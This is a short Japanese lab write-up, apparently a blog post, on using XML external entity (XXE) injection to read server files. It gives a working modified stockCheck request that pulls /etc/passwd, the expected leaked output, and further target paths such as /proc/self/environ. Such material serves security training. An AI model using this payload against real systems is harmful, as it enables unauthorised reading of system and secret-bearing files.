Shikata Ga Nai

Private? There is no such things.

LAB: XXEによるファイルの取得手法

Hello there, ('ω')ノ

🎯 攻撃目的

この攻撃の目的は、外部エンティティ(XXE)を用いてサーバー内部のファイル(例:/etc/passwd)を取得することです。


🛠 攻撃の手順(基本構造)

アプリケーションが以下のようなXMLをサーバーに送信しているとします:

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>

このリクエストを使って、以下のように改ざんします:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

🧩 解説

要素 説明
<!DOCTYPE foo [...]> 外部エンティティを定義するDTDブロック
<!ENTITY xxe SYSTEM "file:///etc/passwd"> xxeという名前で/etc/passwdファイルの内容を定義
<productId>&xxe;</productId> productIdノードにエンティティを挿入して出力させる

✅ 効果(期待されるレスポンス)

たとえばアプリケーションが「無効な商品ID」としてその値をレスポンスに表示する仕様だと、以下のような出力が得られる可能性があります:

Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

🔍 実践のコツ

  • XML内に複数のノードがある場合、それぞれに &xxe; を挿入してどれがレスポンスに含まれるか1つずつ試す
  • ファイルパスの部分はOSによって異なる:

    • Linux: /etc/passwd, /etc/hosts, /proc/self/environ
    • Windows: C:\Windows\win.ini, C:\boot.ini

⚠ 注意点

  • 攻撃が成功するには、XMLパーサーが外部エンティティの解決を許可している必要があります
  • 多くの近代的なサーバーではこの機能はデフォルトで無効化されているか、制限されている

🧠 実践的なテストでは、出力に含まれるノードに着目し、「どこにエンティティを挿入すれば出力されるか」を丁寧に試すことがポイントです。

Best regards, (^^ゞ